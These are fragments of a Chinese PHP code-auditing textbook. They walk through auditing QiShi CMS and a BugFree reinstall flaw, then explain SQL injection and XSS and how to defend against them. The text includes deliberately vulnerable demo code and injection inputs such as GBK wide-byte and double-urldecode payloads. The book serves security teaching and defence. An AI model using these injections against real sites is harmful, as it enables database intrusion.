    {"text": "} else { 4）index文件，index是一个程序的入口文件，所以通常我们只要读一遍index文件就可以大致了解整个程序的架构、运行的流程、包含到的文件，其中核心的文件又有哪些。 而不同目录的index文件也有不同的实现方式，建议最好先将几个核心目录的index文件都简单读一遍。"},
    {"text": "上面介绍了我们应该注意的部分文件，可以帮助我们更有方向地去读全部的代码，实际上在我们真正做代码审计的时候，经常会遇到各种框架，这时候就会被搞得晕头转向，所以在学习代码审计的前期建议不要去读开源框架或者使用开源框架的应用，先去chinaz、admin5之类的源码下载网站下载一些小应用来读，并且一定要多找几套程序通读全文代码，这样我们才能总结经验，等总结了一定的经验，对PHP也比较熟悉的时候，再去读一些像thinkphp、Yii、Zend Framework等开源框架，才能快速地挖掘高质量的漏洞。"},
    {"text": "通读全文代码的好处显而易见，可以更好地了解程序的架构以及业务逻辑，能够挖掘到更多、更高质量的逻辑漏洞，一般老手会比较喜欢这种方式。"},
    {"text": "骑士cms通读审计案例 我们已经介绍了代码审计中通读全文代码审计方式的思路，下面我们用案例来说明这种通读方式。 为了方便大家理解，笔者找了一款相对简单容易看懂的应用骑士cms来介绍，版本是3.5.1，具体的审计思路我们在上文中已经有过介绍。 3.2.1.1 查看应用文件结构 首先来看一下骑士cms的大致文件目录结构，如图3-8所示。"},
    {"text": "图 3-8 首先需要看看有哪些文件和文件夹，寻找名称里有没有带有api、admin、manage、include一类关键字的文件和文件夹，通常这些文件比较重要，在这个程序里，可以看到并没有什么PHP文件，就一个index.php，看到有一个名为include的文件夹，一般比较核心的文件都会放在这个文件夹中，我们先来看看大概有哪些文件，如图3-9所示。 图 3-9 3.2.1.2 查看关键文件代码 在这个文件夹里面我们看到了多个数十K的PHP文件，比如common.fun.php就是本程序的核心文件，基础函数基本在这个文件中实现，我们来看看这个文件里有哪些关键函数，一打开这个文件，立马就看到一大堆过滤函数，这是我们最应该关心的地方，首先是一个SQL注入过滤函数： function addslashes_deep （ $value ） { if （ empty （ $value ）） { return $value ；"},
    {"text": "} } 该函数将传入的变量使用addslashes（）函数进行过滤，也就过滤掉了单引号、双引号、NULL字符以及斜杠，现在我们要记住，在挖掘SQL注入等漏洞时，只要参数在拼接到SQL语句前，除非有宽字节注入或者其他特殊情况，否则使用了这个函数就不能注入了。"},
    {"text": "$string = remove_xss （ $string ）； return $string ； } 这个函数调用了new_html_special_chars（）和remove_xss（）函数来过滤XSS，就在该函数下方，代码如下： function new_html_special_chars （ $string ） { $string = str_replace （ array （ '&amp ；"},
    {"text": "' ）， array （ '&' ， '\"' ， '<' ， '>' ）， $string ）； $string = strip_tags （ $string ）； return $string ； } function remove_xss （ $string ） { $string = preg_replace （ '/[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]+/S' ， '' ， $string ）； $parm1 = Array （ 'javascript' ， 'union' ， 'vbscript' ， 'expression' ， 'applet' ， 'xml' ， 'blink' ， 'link' ， 'script' ， 'embed' ， 'object' ， 'iframe' ， 'frame' ， 'frameset' ， 'ilayer' ， 'layer' ， 'bgsound' ， 'title' ， 'base' ）； $parm2 = Array （ 'onabort' ， 'onactivate' ， 'onafterprint' ， 'onafterupdate' ， 'onbeforeactivate' ， 'onbeforecopy' ， 'onbeforecut' ， 'onbeforedeactivate' ， 'onbeforeeditfocus' ， 'onbeforepaste' ， 'onbeforeprint' ， 'onbeforeunload' ， 'onbeforeupdate' ， 'onblur' ， 'onbounce' ， 'oncellchange' ， 'onchange' ， 'onclick' ， 'oncontextmenu' ， 'oncontrolselect' ， 'oncopy' ， 'oncut' ， 'ondataavailable' ， 'ondatasetchanged' ， 'ondatasetcomplete' ， 'ondblclick' ， 'ondeactivate' ， 'ondrag' ， 'ondragend' ， 'ondragenter' ， 'ondragleave' ， 'ondragover' ， 'ondragstart' ， 'ondrop' ， 'onerror' ， 'onerrorupdate' ， 'onfilterchange' ， 'onfinish' ， 'onfocus' ， 'onfocusin' ， 'onfocusout' ， 'onhelp' ， 'onkeydown' ， 'onkeypress' ， 'onkeyup' ， 'onlayoutcomplete' ， 'onload' ， 'onlosecapture' ， 'onmousedown' ， 'onmouseenter' ， 'onmouseleave' ， 'onmousemove' ， 'onmouseout' ， 'onmouseover' ， 'onmouseup' ， 'onmousewheel' ， 'onmove' ， 'onmoveend' ， 'onmovestart' ， 'onpaste' ， 'onpropertychange' ， 'onreadystatechange' ， 'onreset' ， 'onresize' ， 'onresizeend' ， 'onresizestart' ， 'onrowenter' ， 'onrowexit' ， 'onrowsdelete' ， 'onrowsinserted' ， 'onscroll' ， 'onselect' ， 'onselectionchange' ， 'onselectstart' ， 'onstart' ， 'onstop' ， 'onsubmit' ， 'onunload' ， 'style' ， 'href' ， 'action' ， 'location' ， 'background' ， 'src' ， 'poster' ）； $parm3= Array （ 'alert' ， 'sleep' ， 'load_file' ， 'confirm' ， 'prompt' ， 'bench-mark' ， 'select' ， 'update' ， 'insert' ， 'delete' ， 'alter' ， 'drop' ， 'truncate' ， 'script' ， 'eval' ）； $parm = array_merge （ $parm1 ， $parm2 ， $parm3 ）；"},
    {"text": "for （ $i = 0 ； $i < sizeof （ $parm ）； $i++ ） { $pattern = '/' ； for （ $j = 0 ； $j < strlen （ $parm[$i] ）； $j++ ） { if （ $j > 0 ） { $pattern .= ' （ ' ； $pattern .= ' （ &#[x|X]0 （ [9][a][b] ）；"},
    {"text": "} 在new_html_special_chars（）函数中可以看到，这个函数对&符号、双引号以及尖括号进行了html实体编码，并且使用strip_tags（）函数进行了二次过滤。"},
    {"text": "再往下走有一个获取IP地址的函数getip（），是可以伪造IP地址的： function getip （） { if （ getenv （ 'HTTP_CLIENT_IP' ） and strcasecmp （ getenv （ 'HTTP_CLIENT_IP' ）， 'unknown' ）） { $onlineip=getenv （ 'HTTP_CLIENT_IP' ）； }elseif （ getenv （ 'HTTP_X_FORWARDED_FOR' ） and strcasecmp （ getenv （ 'HTTP_X_FORWARDED_FOR' ）， 'unknown' ）） { $onlineip=getenv （ 'HTTP_X_FORWARDED_FOR' ）； }elseif （ getenv （ 'REMOTE_ADDR' ） and strcasecmp （ getenv （ 'REMOTE_ADDR' ）， 'unknown' ）） { $onlineip=getenv （ 'REMOTE_ADDR' ）； }elseif （ isset （ $_SERVER['REMOTE_ADDR'] ） and $_SERVER['REMOTE_ADDR'] and strcasecmp （ $_SERVER['REMOTE_ADDR'] ， 'unknown' ）） { $onlineip=$_SERVER['REMOTE_ADDR'] ； } preg_match （ \"/\\d{1 ， 3}\\.\\d{1 ， 3}\\.\\d{1 ， 3}\\.\\d{1 ， 3}/\" ， $onlineip ， $match ）； return $onlineip = $match[0] ？ $match[0] ： 'unknown' ；"},
    {"text": "再往下看可以看到一个值得关注的地方，SQL查询统一操作函数inserttable（）以及updatetable（）函数，大多数SQL语句执行都会经过这里，所以我们要关注这个地方是否还有过滤等问题。 function inserttable （ $tablename ， $insertsqlarr ， $returnid=0 ， $replace = false ， $silent=0 ） {global $db ； $insertkeysql = $insertvaluesql = $comma = '' ； foreach （ $insertsqlarr as $insert_key => $insert_value ） {$insertkeysql .= $comma.'`'.$insert_key.'`' ； $insertvaluesql .= $comma.'\\''.$insert_value.'\\'' ； $comma = ' ， ' ； }$method = $replace ？"},
    {"text": "} } 再往下走则是wheresql（）函数，是SQL语句查询的Where条件拼接的地方，我们可以看到参数都使用了单引号进行包裹，代码如下： function wheresql （ $wherearr='' ） { $wheresql=\"\" ； if （ is_array （ $wherearr ）） { $where_set=' WHERE ' ； foreach （ $wherearr as $key => $value ） { $wheresql .=$where_set. $comma.$key.'=\"'.$value.'\"' ；"},
    {"text": "} 还有一个访问令牌生成的函数asyn_userkey（），拼接用户名、密码salt以及密码进行一次md5，访问的时候只要在GET参数key的值里面加上生成的这个key即可验证是否有权限，被用在注册、找回密码等验证过程中，也就是我们能看到的找回密码链接里面的key，代码如下： function asyn_userkey （ $uid ） { global $db ；"},
    {"text": "$sql = \"select * from \".table （ 'members' ） .\" where uid = '\".intval （ $uid ） .\"' LIMIT 1\" ； $user=$db->getone （ $sql ）； return md5 （ $user['username'].$user['pwd_hash'].$user['password'] ）；"},
    {"text": "3.2.1.3 查看配置文件 接下来我们找找配置文件，上面我们介绍到配置文件的文件名通常都带有“config”这样的关键字，我们只要搜索带有这个关键字的文件名即可，如图3-11所示。 在搜索结果中我们可以看到搜索出来多个文件，结合文件所在目录这个经验可以判断出data目录下面的config.php以及cache_config.php才是真正的配置文件，打开/data/config.php查看代码，如下所示： 图 3-11 < ？"},
    {"text": "> 很明显看到，很有可能存在我们之前说过的双引号解析代码执行的问题，通常这个配置是在安装系统的时候设置的，或者后台也有设置的地方。"},
    {"text": "另外我们还应该记住的一个点是QISHI_DBCHARSET常量，这里配置的数据库编码是GBK，也就可能存在宽字节注入，不过需要看数据库连接时设置的编码，不妨找找看，找到骑士cms连接MySQL的代码在include\\mysql.class.php文件的connect（）函数，代码如下： function connect （ $dbhost ， $dbuser ， $dbpw ， $dbname = '' ， $dbcharset = 'gbk' ， $connect=1 ） { $func = empty （ $connect ） ？"},
    {"text": "} else { if （ $this->dbversion （） > '4.1' ） { mysql_query （ \"SET NAMES gbk\" ）； if （ $this->dbversion （） > '5.0.1' ） { mysql_query （ \"SET sql_mode = ''\" ， $this->linkid ）； mysql_query （ \"SET character_set_connection=\".$dbcharset.\" ， character_set_results=\".$dbcharset.\" ， character_set_client=binary\" ， $this-> linkid ）； } } } if （ $dbname ） { if （ mysql_select_db （ $dbname ， $this->linkid ） ===false ） { $this->dbshow （ \"Can't select MySQL database （ $dbname ）！"},
    {"text": "代码首先判断MySQL版本是否大于4.1，如果是则执行如下代码： mysql_query （ \"SET NAMES gbk\" ）； 执行这个语句之后再判断，如果大于5则执行如下代码： mysql_query （ \"SET character_set_connection=\".$dbcharset.\" ， haracter_set_results=\".$dbcharset.\" ， character_set_client=binary\" ， $this->linkid ）； 也就是说在MySQL版本小于5的情况下是不会执行这行代码的，但是执行了“set names gbk”，我们在之前介绍过“set names gbk”其实干了三件事，等同于： SET character_set_connection= ’ gbk ’， haracter_set_results= ’ gbk ’， character_set_client= ’ gbk ’ 因此在MySQL版本大于4.1小于5的情况下，基本所有跟数据库有关的操作都存在宽字节注入。"},
    {"text": "3.2.1.4 跟读首页文件 通过对系统文件大概的了解，我们对这套程序的整体架构已经有了一定的了解，但是还不够，所以我们得跟读一下index.php文件，看看程序运行的时候会调用哪些文件和函数。 打开首页文件index.php可以看到如下代码： if （！ file_exists （ dirname （ __FILE__ ） .'/data/install.lock' ）） header （ \"Location ： install/index.php\" ）；"},
    {"text": "require_once （ dirname （ __FILE__ ） .'/include/common.inc.php' ）； 首先判断安装锁文件是否存在，如果不存在则跳转到install/index.php，接下来是包含/include/common.inc.php文件，跟进该文件查看： require_once （ QISHI_ROOT_PATH.'data/config.php' ）；"},
    {"text": "charset=\".QISHI_CHARSET ）； require_once （ QISHI_ROOT_PATH.'include/common.fun.php' ）； require_once （ QISHI_ROOT_PATH.'include/74cms_version.php' ）；"},
    {"text": "/include/common.inc.php文件在开头包含了三个文件，data/config.php为数据库配置文件，include/common.fun.php文件为基础函数库文件，include/74cms_version.php为应用版本文件。"},
    {"text": "这段代码调用了include/common.fun.php文件里面的addslashes_deep（）函数对GET/POST/COOKIE参数进行了过滤，再往下走可以看到又有一个包含文件的操作： require_once （ QISHI_ROOT_PATH.'include/tpl.inc.php' ）； 包含了include/tpl.inc.php文件，跟进看看这个文件做了什么： include_once （ QISHI_ROOT_PATH.'include/template_lite/class.template.php' ）；"},
    {"text": "$smarty = new Template_Lite ； $smarty -> cache_dir = QISHI_ROOT_PATH.'temp/caches/'.$_CFG['template_dir'] ； $smarty -> compile_dir = QISHI_ROOT_PATH.'temp/templates_c/'.$_CFG ['template_dir'] ； $smarty -> template_dir = QISHI_ROOT_PATH.'templates/'.$_CFG['template_dir'] ； $smarty -> reserved_template_varname = \"smarty\" ； $smarty -> left_delimiter = \"{#\" ； $smarty -> right_delimiter = \"#}\" ； $smarty -> force_compile = false ； $smarty -> assign （ '_PLUG' ， $_PLUG ）； $smarty -> assign （ 'QISHI' ， $_CFG ）； $smarty -> assign （ 'page_select' ， $page_select ）；"},
    {"text": "首先看到包含了include/template_lite/class.template.php文件，这是一个映射程序模板的类，由Paul Lockaby paul和Mark Dickenson编写，由于该文件较大，我们这里不再仔细分析，继续往下跟进，可以看到这段代码实例化了这个类对象赋值给$smarty变量，继续跟进则回转到index.php文件代码： if （！"},
    {"text": "$smarty->display （ $mypage['tpl'] ， $cached_id ）； } else { $smarty->display （ $mypage['tpl'] ， $cached_id ）； } 判断是否已经缓存，然后调用display（）函数输出页面，审计到这里是否对整个程序的框架比较熟悉了？ 接下来像审计index.php文件一样跟进其他功能入口文件即可完成代码通读。"},
    {"text": "3.3 根据功能点定向审计 在有了一定的代码审计经验之后，一定会知道哪些功能点通常会有哪些漏洞，在我们想要快速挖掘漏洞的时候就可以这样来做，首先安装好并且运行程序，到处点点，浏览一下，看下程序有哪些功能，这些功能的程序文件分别是怎么样的，是独立的模块还是以插件形式存在，或者是写在一个通用类里面，然后多处调用。在了解这些功能的存在形式后，可以先寻找经常会出问题的功能点，简单黑盒测试一下，如果没有发现很普通、很常见的漏洞，再去读这个功能的代码，这样我们读起来就可以略过一些刚才黑盒测试过的点，提高审计速度。 根据经验，我们来简单介绍几个功能点经常会出现的漏洞，如下所示： 1）文件上传功能 。这里说的文件上传在很多功能点都会出现，比如像文章编辑、资料编辑、头像上传、附件上传，这个功能最常见的漏洞就是任意文件上传了，后端程序没有严格地限制上传文件的格式，导致可以直接上传或者存在绕过的情况，而除了文件上传功能外，还经常发生SQL注入漏洞。因为一般程序员都不会注意到对文件名进行过滤，但是又需要把文件名保存到数据库中，所以就会存在SQL注入漏洞。 2）文件管理功能 。在文件管理功能中，如果程序将文件名或者文件路径直接在参数中传递，则很有可能会存在任意文件操作的漏洞，比如任意文件读取等，利用的方式是在路径中使用../或者..\\跳转目录，如图3-12所示。 除了任意文件操作漏洞以外，还可能会存在XSS漏洞，程序会在页面中输出文件名，而通常会疏忽对文件名进行过滤，导致可以在数据库中存入带有尖括号等特殊符号的文件名，最后显示在页面上的时候就会被执行。 3）登录认证功能 。登录认证功能不是指一个登录过程，而是整个操作过程中的认证，目前的认证方式大多是基于Cookie和Session，不少程序会把当前登录的用户账号等认证信息放到Cookie中，或许是加密方式，是为了保持用户可以长时间登录，不会一退出浏览器或者Session超时就退出账户，进行操作的时候直接从Cookie中读取出当前用户信息，这里就存在一个算法可信的问题，如果这段Cookie信息没有加salt一类的东西，就可以导致任意用户登录漏洞，只要知道用户的部分信息，即可生成认证令牌，甚至有的程序会直接把用户名明文放到Cookie中，操作的时候直接取这个用户名的数据，这也是常说的越权漏洞。 图 3-12 ESPCMS就多次被曝光存在这个漏洞，具体的漏洞分析在乌云上面可以直接看到，其中一个漏洞信息如下，感兴趣的读者可以研究一下： 缺陷编号：WooYun-2015-90324 漏洞标题：ESPCMS所有版本任意用户登录 相关厂商：易思ESPCMS企业网站管理系统 漏洞作者：路人甲 4）找回密码功能 。找回密码虽然看起来不像任意文件上传这种可以危害到服务器安全的漏洞，但是如果可以重置管理员的密码，也是可以间接控制业务权限甚至拿到服务器权限的。而找回密码功能的漏洞有很多利用场景，最常见的是验证码爆破，目前特别是APP应用，请求后端验证码的时候大多是4位，并且没有限制验证码错误次数和有效时间，于是就出现了爆破的漏洞。除此之外，还有验证凭证的算法，这需要在代码中才能看到，所以我们做代码审计的时候可以看看这个算法是否可信。 这些功能点上的漏洞需要我们多读代码才能积累经验。 BugFree重装漏洞案例 针对功能点的审计是相对简单的，不过在使用这种方式审计之前建议先了解整个程序的架构设计和运行流程，程序重装漏洞在早期是比较常见的，我们来看看BugFree的程序安装功能，该程序之前被papaver爆出存在多个漏洞，其中就有一个重装漏洞。 BugFree安装文件在install\\index.php，代码如下： < ？ php require_once （ 'func.inc.php' ）； set_time_limit （ 0 ）； error_reporting （ E_ERROR ）； // 基本路径 define （ 'BASEPATH' ， realpath （ dirname （ dirname （ __FILE__ ））））； // upload path define （ 'UPLOADPATH' ， realpath （ dirname （ dirname （ dirname （ __FILE__ ）））） .DIRECTORY_SEPARATOR.'BugFile' ）； // 配置样本文件路径 define （ 'CONFIG_SAMPLE_FILE' ， BASEPATH . '/protected/config/main.sample.php' ）； // 配置文件路径 define （ 'CONFIG_FILE' ， BASEPATH . '/protected/config/main.php' ）； 看这段代码首先包含了'func.inc.php'文件，跟进这个文件可以看到一些读取配置文件、检查目录权限以及服务器变量等功能的函数，下方则是定义配置文件的路径，继续往下走，真正进行程序逻辑流程的地方如下代码所示： $action = isset （ $_REQUEST['action'] ） ？ $_REQUEST['action'] ： CHECK ； if （ is_file （ \"install.lock\" ） && $action ！ = UPGRADED && $action ！ = INSTALLED ） { header （ \"location ： ../index.php\" ）； } 这段代码存在一个逻辑漏洞，首先判断install.lock文件是否存在以及action参数值是否升级完成和安装完成，如果是，则跳转到程序首页，这里仅仅使用了 header （ \"location ： ../index.php\" ）； 并没有使用die（）或者exit（）等函数退出程序流程，这个跳转只是HTTP头的跳转，下方代码依然会继续执行，这时候如果使用浏览器请求install/index.php文件则会跳转到首页，我们用burp试试，效果如图3-13所示。 图 3-13 可以看到程序又可以再次安装。"},
    {"text": "第4章 漏洞挖掘与防范（基础篇） 每类漏洞都有针对性的审计技巧，在我们掌握了这些技巧之后，就可以有针对性地挖掘我们想要的漏洞。漏洞大致分为SQL注入、XSS、文件操作、代码/命令执行、变量覆盖以及逻辑处理，等等，这些都是常见的Web漏洞。 本章作为基础篇，只介绍最常见的SQL注入、XSS、CSRF漏洞，分析其原理、利用方式，并介绍防范策略。"},
    {"text": "4.1 SQL注入漏洞 SQL注入漏洞可能是被人知道最多的漏洞，哪怕再没有接触到安全的程序员，多多少少会对这个词有所耳闻，它也是目前被利用得最多的漏洞。"},
    {"text": "SQL注入漏洞的原理非常简单，由于开发者在编写操作数据库代码时，直接将外部可控的参数拼接到SQL语句中，没有经过任何过滤就直接放入数据库引擎执行。 由于SQL注入是直接面对数据库进行攻击的，所以它的危害不言而喻，通常利用SQL注入的攻击方式有下面几种：一是在权限较大的情况下，通过SQL注入可以直接写入webshell，或者直接执行系统命令等。 二是在权限较小的情况下，也可以通过注入来获得管理员的密码等信息，或者修改数据库内容进行一些钓鱼或者其他间接利用。 针对SQL注入漏洞的利用工具也是越来越智能，sqlmap是目前被使用最多的注入工具，这是一款国外开源的跨平台SQL注入工具，用Python开发，支持多种方式以及几乎所有类型的数据库注入，对SQL注入漏洞的兼容性也非常强。 既然SQL注入是被利用最多的漏洞，因此它也是被研究最深的漏洞，针对不同的漏洞代码情况和运行环境，有多种的利用方式，如普通注入、盲注、报错注入、宽字节注入、二次注入等，但是它们的原理都是大同小异的，下面笔者会介绍怎么挖掘到这些注入漏洞。 4.1.1 挖掘经验 SQL注入经常出现在登录页面、获取HTTP头（user-agent/client-ip等）、订单处理等地方，因为这几个地方是业务相对复杂的，登录页面的注入现在来说大多是发生在HTTP头里面的client-ip和x-forward-for，一般用来记录登录的IP地址，另外在订单系统里面，由于订单涉及购物车等多个交互，所以经常会发生二次注入。"},
    {"text": "4.1.1.1 普通注入 这里说的普通注入是指最容易利用的SQL注入漏洞，比如直接通过注入union查询就可以查询数据库，一般的SQL注入工具也能够非常好地利用。 普通注入有int型和string型，在string型注入中需要使用单或双引号闭合，下面简单演示普通注入漏洞，后面所有测试SQL注入漏洞的数据表中数据都如图4-1所示。"},
    {"text": "php $uid=$_GET['id'] ； $sql=\"SELECT * FROM userinfo where id=$uid\" ； $conn=mysql_connect （ 'localhost' ， 'root' ， '123456' ）； mysql_select_db （ \"test\" ， $conn ）； $result=mysql_query （ $sql ， $conn ）； print_r （ ' 当前 SQL 语句： '.$sql.'<br /> 结果： ' ）； print_r （ mysql_fetch_row （ $result ））；"},
    {"text": "从上面的测试代码中可以发现，数据库操作存在一些关键字，比如select from、mysql_connect、mysql_query、mysql_fetch_row等，数据库的查询方式还有update、insert、delete，我们在做白盒审计时，只需要查找这些关键字，即可定向挖掘SQL注入漏洞。 4.1.1.2 编码注入 程序在进行一些操作之前经常会进行一些编码处理，而做编码处理的函数也是存在问题的，通过输入转码函数不兼容的特殊字符，可以导致输出的字符变成有害数据，在SQL注入里，最常见的编码注入是MySQL宽字节以及urldecode/rawurldecode函数导致的。 1.宽字节注入 在使用PHP连接MySQL的时候，当设置“set character_set_client=gbk”时会导致一个编码转换的注入问题，也就是我们所熟悉的宽字节注入，当存在宽字节注入漏洞时，注入参数里带入%df%27，即可把程序中过滤的\\（%5c）吃掉。"},
    {"text": "id=-1’and 1=1%23时，MySQL运行的SQL语句为select*from user where id=’1\\’and 1=1#’很明显这是没有注入成功的，我们提交的单引号被转义导致没有闭合前面的单引号，但是我们提交/1.php？ id=-1%df’and 1=1%23时，这时候MySQL运行的SQL语句为： select * from user where id='1 運 ' and 1=1#' 这是由于单引号被自动转义成\\'，前面的%df和转义字符\\反斜杠（%5c）组合成了%df%5c，也就是“運”字，这时候单引号依然还在，于是成功闭合了前面的单引号。"},
    {"text": "出现这个漏洞的原因是在PHP连接MySQL的时候执行了如下设置： set character_set_client=gbk 告诉MySQL服务器客户端来源数据编码是GBK，然后MySQL服务器对查询语句进行GBK转码导致反斜杠\\被%df吃掉，而一般都不是直接设置character_set_client=gbk，通常的设置方法是SET NAMES'gbk'，但其实SET NAMES'gbk'不过是比character_set_client=gbk多干了两件事而已，SET NAMES'gbk'等同于如下代码： SET character_set_connection='gbk' ， character_set_results='gbk' ， character_set_client=gbk 这同样也是存在漏洞的，另外官方建议使用mysql_set_charset方式来设置编码，不幸的是它也只是调用了SET NAMES，所以效果也是一样的。 不过mysql_set_charset调用SET NAMES之后还记录了当前的编码，留着给后面mysql_real_escape_string处理字符串的时候使用，所以在后面只要合理地使用mysql_real_escape_string还是可以解决这个漏洞的，关于这个漏洞的解决方法推荐如下几种方法： 1）在执行查询之前先执行SET NAMES'gbk'，character_set_client=binary设置character_set_client为binary。 2）使用mysql_set_charset（'gbk'）设置编码，然后使用mysql_real_escape_string（）函数被参数过滤。"},
    {"text": "$result=mysql_query （ $sql ， $conn ）； print_r （ ' 当前 SQL 语句： '.$sql.'<br /> 结果： ' ）； print_r （ mysql_fetch_row （ $result ））； mysql_close （）；"},
    {"text": "图 4-3 对宽字节注入的挖掘方法也比较简单，只要搜索如下几个关键字即可： SET NAMES character_set_client=gbk mysql_set_charset （ 'gbk' ） 2.二次urldecode注入 只要字符被进行转换就有可能产生漏洞，现在的Web程序大多都会进行参数过滤，通常使用addslashes（）、mysql_real_escape_string（）、mysql_escape_string（）函数或者开启GPC的方式来防止注入，也就是给单引号（'）、双引号（\"）、反斜杠（\\）和NULL加上反斜杠转义。"},
    {"text": "id=1%2527，因为我们提交的参数里面没有单引号，所以第一次解码后的结果是id=1%27，%25解码的结果是%，如果程序里面使用了urldecode或者rawurldecode函数来解码id参数，则解码后的结果是id=1’单引号成功出现引发注入。"},
    {"text": "4.1.1.3 espcms搜索注入分析 这里以一个笔者在2013年发现的一个小CMS程序espcms搜索注入的漏洞为例，我们目前尽量以相对好理解的漏洞来举例。 漏洞在interface/search.php文件和interface/3gwap_search.php文件in_taglist（）函数都存在，一样的问题，以interface/search.php为例说明： 打开文件看到如下代码： function in_taglist （） { parent ：： start_pagetemplate （）；"},
    {"text": "if （ empty （ $tagkey ）） { $linkURL = $_SERVER['HTTP_REFERER'] ； $this->callmessage （ $this->lng['search_err'] ， $linkURL ， $this->lng ['gobackbotton'] ）；"},
    {"text": "empty （ $tagkey ）） { $db_where.=\" AND FIND_IN_SET （ '$tagkey' ， tags ） \" ； } 其中： $tagkey = urldecode （ $this->fun->accept （ 'tagkey' ， 'R' ））； 这行代码得到$_REQUEST['tagkey']的值，由于$tagkey变量使用了urldecode，从而可以绕过GPC： $db_where.=\" AND FIND_IN_SET （ '$tagkey' ， tags ） \" ； 经过判断$tagkey不为空则拼接到SQL语句中，导致产生注入漏洞。"},
    {"text": "在PHP中可以利用魔术引号来解决，不过魔术引号在PHP 5.4后被取消，并且gpc在遇到int型的注入时也会显得不那么给力了，所以通常用得多的还是过滤函数和类，像discuz、dedecms、phpcms等程序里面都使用过滤类，不过如果单纯的过滤函数写得不够严谨，也会出现绕过的情况，像这三套程序就都存在绕过问题。"},
    {"text": "在本书第2章第3节介绍了PHP的核心配置，里面详细介绍了GPC等魔术引号配置的方法，magic_quotes_gpc负责对GET、POST、COOKIE的值进行过滤，magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤。"},
    {"text": "为什么说是部分，因为我们之前也介绍了，它们只对单引号（'）、双引号（\"）、反斜杠（\\）及空字符NULL进行过滤，在int型的注入上是没有多大作用的。"},
    {"text": "PHP 4.2.3以及之前的版本可以在任何地方设置开启，即配置文件和代码中，之后的版本可以在php.ini、httpd.conf以及.htaccess中开启。"},
    {"text": "4.1.2.2 过滤函数和类 过滤函数和类有两种使用场景，一种是程序入口统一过滤，像框架程序用这种方式比较多，另外一种是在程序进行SQL语句运行之前使用，除了PHP内置的一些过滤单引号等函数外，还有一些开源类过滤union、select等关键字。 1.addslashes函数 addslashes函数过滤的值范围和GPC是一样的，即单引号（'）、双引号（\"）、反斜杠（\\）及空字符NULL，它只是一个简单的检查参数的函数，大多数程序使用它是在程序的入口，进行判断如果没有开启GPC，则使用它对$_POST/$_GET等变量进行过滤，不过它的参数必须是string类型，所以曾经某些程序使用这种方式对输入进行过滤时出现了绕过，比如只遍历$_GET的值，当时并没有考虑到$_GET的值也是一个数组。"},
    {"text": "2.mysql_[real_]escape_string函数 mysql_escape_string和mysql_real_escape_string函数都是对字符串进行过滤，在PHP4.0.3以上版本才存在，如下字符受影响【\\x00】【\\n】【\\r】【\\】【'】【\"】【\\x1a】，两个函数唯一不一样的地方在于mysql_real_escape_string接受的是一个连接句柄并根据当前字符集转义字符串，所以推荐使用mysql_real_escape_string。"},
    {"text": "php $con = mysql_connect （ \"localhost\" ， \"root\" ， \"123456\" ）； $id = mysql_real_escape_string （ $_GET['id'] ， $con ）； $sql=\"select * from test where id='\".$id.\"'\" ； echo $sql ；"},
    {"text": "id=1’时，上面代码输出：select*from test where id='1\\'' 3.intval等字符转换 上面我们提到的过滤方式，在int类型注入时效果并不好，比如可以通过报错或者盲注等方式来绕过，这时候intval等函数就起作用了，intval的作用是将变量转换成int类型，这里举例intval是要表达一种方式，一种利用参数类型白名单的方式来防止漏洞，对应的还有很多如floatval等。"},
    {"text": "以上代码输出：1 4.1.2.3 PDO prepare预编译 如果之前了解过.NET的SqlParameter或者java里面的prepareStatement，那么就很容易能够理解PHP pdo的prepare，它们三个的作用是一样的，都是通过预编译的方式来处理数据库查询。"},
    {"text": "上面这段代码虽然使用了pdo的prepare方式来处理sql查询，但是当PHP版本<5.3.6之前还是存在宽字节SQL注入漏洞，原因在于这样的查询方式是使用了PHP本地模拟prepare，再把完整的SQL语句发送给MySQL服务器，并且有使用set names'gbk'语句，所以会有PHP和MySQL编码不一致的原因导致SQL注入，正确的写法应该是使用ATTR_EMULATE_PREPARES来禁用PHP本地模拟prepare，代码如下： < ？"},
    {"text": "这种漏洞有两种情况，一种是通过外部输入然后直接在浏览器端触发，即反射型XSS； 还有一种则是先把利用代码保存在数据库或文件中，当Web程序读取利用代码并输出在页面上时触发漏洞，也就是存储型XSS。 XSS攻击在浏览器端触发，大家对其危害认识往往停留在可以窃取cookie、修改页面钓鱼，等等。 用一句话来说明该漏洞的危害就是：前端页面能做的事它都能做。"},
    {"text": "4.2.1 挖掘经验 挖掘XSS漏洞的关键在于寻找没有被过滤的参数，且这些参数传入到输出函数，常用的输出函数列表如下：print、print_r、echo、printf、sprintf、die、var_dump、var_export，所以我们只要寻找带有变量的这些函数即可。"},
    {"text": "另外在代码审计中，XSS漏洞在浏览器环境对利用的影响非常大，所以最重要的还要掌握各种浏览器容错、编码等特性和数据协议。 关于XSS漏洞的东西可以再写一本厚厚的书，由于篇幅问题，这些东西就不在这里详细介绍了，推荐阅读邱永华的《XSS跨站脚本攻击剖析与防御》和余弦的《Web前端黑客技术揭秘》。"},
    {"text": "XSS漏洞经常出现在文章发表、评论回复、留言以及资料设置等地方，特别是在发文章的时候，因为这里大多都是富文本，有各种图片引用、文字格式设置等，所以经常出现对标签事件过滤不严格导致的XSS，同样，评论回复以及留言也是。"},
    {"text": "其次在资料设置的地方，比如用户昵称、签名等，有的应用可能不只一处设置资料的地方，像在注册的地方可以设置、修改资料的地方可以设置，这时候要多留意，不一定所有设置这个资料的地方都过滤严格了。"},
    {"text": "4.2.1.1 反射型XSS 反射型XSS也就是我们在描述里面说直接通过外部输入然后在浏览器端输出触发的类型，这种类型的漏洞比较容易通过扫描器黑盒直接发现，只需要将尖括号、单双引号等提交到Web服务器，检查返回的HTML页面里面有没有保留原来的特殊字符即可判断。"},
    {"text": "举例一个反射型XSS漏洞的大致形式，代码如下： // 以下是 QQ 私密接口 if （ $_GET[\"openid\"] ） { // 授权成功后，会返回用户的 openid // 检查返回的 openid 是否是合法 id //echo $_GET[\"oauth_signature\"] ；"},
    {"text": "} 代码中echo\"sig：\".$_GET[\"oauth_signature\"].\"\\n\"； 直接将$_GET[\"oauth_signature\"]的值输出到浏览器中，则可以直接用GET方式注入代码。"},
